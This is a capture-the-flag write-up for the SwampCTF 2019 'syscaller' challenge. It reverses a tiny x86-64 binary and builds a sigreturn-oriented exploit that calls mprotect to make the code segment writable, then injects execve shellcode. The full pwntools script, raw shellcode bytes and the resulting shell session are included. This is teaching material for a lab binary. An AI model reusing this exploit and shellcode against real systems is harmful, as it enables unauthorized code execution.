Swamp ctf 2019 syscaller
Let's take a look at the binary:
$ file syscaller
syscaller: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, BuildID[sha1]=15d03138700bbfd52c735087d738b7433cfa7f22, not stripped
$ pwn checksec syscaller
[*] '/Hackery/pod/modules/srop/swamp19_syscaller/syscaller'
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
$ /syscaller
Hello and welcome to the Labyrinthe. Make your way or perish.
15935728
So we can see that we are dealing with a 64
bit binary, with non of the standard binary mitigations. When we run it, it prompts us for input.
Reversing
When we through the binary in Ghidra, we see that it looks like another custom assembled binary. When we look at the entry
function, we see this:
//
// .text
// SHT_PROGBITS [0x4000e0 - 0x40016d]
// ram: 004000e0-0040016d
//
**************************************************************
* FUNCTION *
**************************************************************
undefined entry()
undefined AL:1 <RETURN>
_start XREF[3]: Entry Point(*), 00400018(*),
entry _elfSectionHeaders::00000090(*)
004000e0 55 PUSH RBP
004000e1 48 89 e5 MOV RBP,RSP
004000e4 48 81 ec SUB RSP,0x200
00 02 00 00
004000eb bf 01 00 MOV EDI,0x1
00 00
004000f0 48 be 30 MOV RSI,msg1 = 48h H
01 40 00
00 00 00 00
004000fa ba 3e 00 MOV EDX,0x3e
00 00
004000ff b8 01 00 MOV EAX,0x1
00 00
00400104 0f 05 SYSCALL
00400106 b8 00 00 MOV EAX,0x0
00 00
0040010b 48 89 e6 MOV RSI,RSP
0040010e bf 00 00 MOV EDI,0x0
00 00
00400113 ba 00 02 MOV EDX,0x200
00 00
00400118 0f 05 SYSCALL
0040011a 41 5c POP R12
0040011c 41 5b POP R11
0040011e 5f POP RDI
0040011f 58 POP RAX
00400120 5b POP RBX
00400121 5a POP RDX
00400122 5e POP RSI
00400123 5f POP RDI
00400124 0f 05 SYSCALL
00400126 b8 3c 00 MOV EAX,0x3c
00 00
0040012b 48 31 ff XOR RDI,RDI
0040012e 0f 05 SYSCALL
We can see, it starts off by moving the stack down by 0x200
bytes. Then it sets up a write syscall to stdout
(which is what causes us to see that output message). Proceeding that it sets up a read syscall which will allow us to scan in 0x200
bytes via stdin to the top of the stack (where rsp
is). After that, it will pop values off of the stack into the r12
, r11
, rdi
, rax
, rbx
, rdx
, rsi
, and rdi
registers and make a syscall. So we get a syscall where we control a lot of the registers. After that it will make an exit syscall.
Exploitation
So for the exploit, we will have to do several things. We will use the syscall
that is preceeded by a bunch of pop
instructions to execute a sigreturn, which will give us code execution. However there is one problem with that.
Remapping Memory Regions
Let's take a look at the memory mappings:
gef➤ vmmap
Start End Offset Perm Path
0x0000000000400000 0x0000000000401000 0x0000000000000000 r-x /Hackery/pod/modules/srop/swamp19_syscaller/syscaller
0x00007ffff7ffb000 0x00007ffff7ffe000 0x0000000000000000 r-- [vvar]
0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 r-x [vdso]
0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rwx [stack]
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
gef➤
So we can see that the only writable memory region by default is the stack. Thing is, we need to write the string /bin/sh
somewhere in memory at an address we know in order to call it. So starting off the only region we can write to is the stack. However when the syscall is executed, the only real stack addresses we have are stored in the rbp
and rsp
registers, which are overwritten by the sigreturn. We can't use the syscall to give us an inofleak, because if it does it will continue on to the exit syscall before we actually get code execution. So by using the sigreturn, we effectively lose our only really stack addresses (stored in rbp
and rsp
). Also when we check the stack to see what's in range of our input for a potential leak, we come up with nothing:
gef➤ x/65g 0x7fffffffde68
0x7fffffffde68: 0x3832373533393531 0xa
0x7fffffffde78: 0x0 0x0
0x7fffffffde88: 0x0 0x0
0x7fffffffde98: 0x0 0x0
0x7fffffffdea8: 0x0 0x0
0x7fffffffdeb8: 0x0 0x0
0x7fffffffdec8: 0x0 0x0
0x7fffffffded8: 0x0 0x0
0x7fffffffdee8: 0x0 0x0
0x7fffffffdef8: 0x0 0x0
0x7fffffffdf08: 0x0 0x0
0x7fffffffdf18: 0x0 0x0
0x7fffffffdf28: 0x0 0x0
0x7fffffffdf38: 0x0 0x0
0x7fffffffdf48: 0x0 0x0
0x7fffffffdf58: 0x0 0x0
0x7fffffffdf68: 0x0 0x0
0x7fffffffdf78: 0x0 0x0
0x7fffffffdf88: 0x0 0x0
0x7fffffffdf98: 0x0 0x0
0x7fffffffdfa8: 0x0 0x0
0x7fffffffdfb8: 0x0 0x0
0x7fffffffdfc8: 0x0 0x0
0x7fffffffdfd8: 0x0 0x0
0x7fffffffdfe8: 0x0 0x0
0x7fffffffdff8: 0x0 0x0
0x7fffffffe008: 0x0 0x0
0x7fffffffe018: 0x0 0x0
0x7fffffffe028: 0x0 0x0
0x7fffffffe038: 0x0 0x0
0x7fffffffe048: 0x0 0x0
0x7fffffffe058: 0x0 0x0
0x7fffffffe068: 0x0
My solution to this is to remap the binary segment (0x400000 - 0x401000
) to the permissions rwx
, so we can read write and execute to that segment. I will do this using an mprotect
syscall, which allows me to assign permissions to a memory region. For that, we will need to have the following register values set:
rax: 0xa (specify memprotect syscall)
rdi: 0x400000 (specify beginning of the binary's data segment)
rsi: 0x1000 (specify to apply the permissions to the chunk of this length, which covers the entire memory segment)
rdx: 0x7 (standard unix permission for read write and execute, read is 4, write is 2, execute is 1)
When we make that syscall, we see that we are able to remap the permissions to be rwx
from r-x
:
gef➤ vmmap
Start End Offset Perm Path
0x0000000000400000 0x0000000000401000 0x0000000000000000 rwx /Hackery/pod/modules/srop/swamp19_syscaller/syscaller
0x00007fff39c9e000 0x00007fff39cbf000 0x0000000000000000 rwx [stack]
0x00007fff39ddd000 0x00007fff39de0000 0x0000000000000000 r-- [vvar]
0x00007fff39de0000 0x00007fff39de1000 0x0000000000000000 r-x [vdso]
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
Also for which syscall to use, I choose 0x400104
. The reason for this, is immediately after that is a read syscall into rsp
that we will use. When we do the initial sigreturn, we will set rsp
to be equal to 0x40011a
, which is the instruction pointer immediately after the syscall
to scan in our data. The reason for this, is that we are just going to overwrite the instructions there with our shellcode. That way after that syscall is finished executing, it will just run our shellcode and we will get a shell!
Exploit
Putting it all together, we have the following exploit:
from pwn import *
# Establish the target
target = process("./syscaller")
#gdb.attach(target, gdbscript='b *0x400104')
context.arch = "amd64"
# Initial registers to be popped
r12 = "0"*8
r11 = "1"*8
rdi = "0"*8
rax = p64(0xf)
rbx = "0"*8
rdx = "1"*8
rsi = "0"*8
rdi = "1"*8
# Form the payload for the registers to be popped
payload = ""
payload += r12
payload += r11
payload += rdi
payload += rax
payload += rbx
payload += rdx
payload += rsi
payload += rdi
# Make the sigreturn frame
frame = SigreturnFrame()
frame.rip = 0x400104
frame.rax = 0xa
frame.rdi = 0x400000
frame.rsi = 0x1000
frame.rdx = 0x7
frame.rsp = 0x40011a
# Append the sigreturn frame to the payload
payload += str(frame)
# Send the payload
target.sendline(payload)
# A Raw input for I/O purposes
raw_input()
# Send our shellcode
# I did not write this shellcode, it is from: https://teamrocketist.github.io/2017/09/18/Pwn-CSAW-Pilot/
shellcode = "\x31\xf6\x48\xbf\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdf\xf7\xe6\x04\x3b\x57\x54\x5f\x0f\x05"
target.sendline(shellcode)
# Drop to an interactive shell
target.interactive()
When we run it:
$ python exploit.py
[+] Starting local process './syscaller': pid 16165
input
[*] Switching to interactive mode
Hello and welcome to the Labyrinthe. Make your way or perish.
$ w
02:45:51 up 7:59, 1 user, load average: 1.33, 1.19, 1.10
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
guyinatu :0 :0 18:47 ?xdm? 43:02 0.00s /usr/lib/gdm3/gdm-x-session --run-script env GNOME_SHELL_SESSION_MODE=ubuntu /usr/bin/gnome-session --session=ubuntu
$ ls
ROPgadget.py core exploit.py readme.md syscaller
$
Just like that, we got a shell!